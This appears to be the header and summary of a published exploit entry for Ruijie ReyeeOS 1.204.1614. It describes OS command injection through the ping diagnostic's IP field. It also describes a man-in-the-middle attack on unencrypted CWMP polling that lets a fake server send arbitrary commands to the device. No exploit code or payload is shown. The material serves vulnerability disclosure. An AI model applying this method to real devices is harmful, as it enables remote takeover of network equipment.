# Exploit Title: ReyeeOS 1.204.1614 - MITM Remote Code Execution (RCE) # Google Dork: None # Date: July 31, 2023 # Exploit Author: Riyan Firmansyah of Seclab # Vendor Homepage: https://ruijienetworks.com # Software Link: https://www.ruijienetworks.com/support/documents/slide_EW1200G-PRO-Firmware-B11P204 # Version: ReyeeOS 1.204.1614; EW_3.0(1)B11P204, Release(10161400) # Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO # CVE : None """ Summary ======= The Ruijie Reyee Cloud Web Controller allows the user to use a diagnostic tool which includes a ping check to ensure connection to the intended network, but the ip address input form is not validated properly and allows the user to perform OS command injection. In other side, Ruijie Reyee Cloud based Device will make polling request to Ruijie Reyee CWMP server to ask if there's any command from web controller need to be executed. After analyze the network capture that come from the device, the connection for pooling request to Ruijie Reyee CWMP server is unencrypted HTTP request. Because of unencrypted HTTP request that come from Ruijie Reyee Cloud based Device, attacker could make fake server using Man-in-The-Middle (MiTM) attack and send arbitrary commands to execute on the cloud based device that make CWMP request to fake server. Once the attacker have gained access, they can execute arbitrary commands on the system or application, potentially compromising sensitive data, installing malware, or taking control of the system.
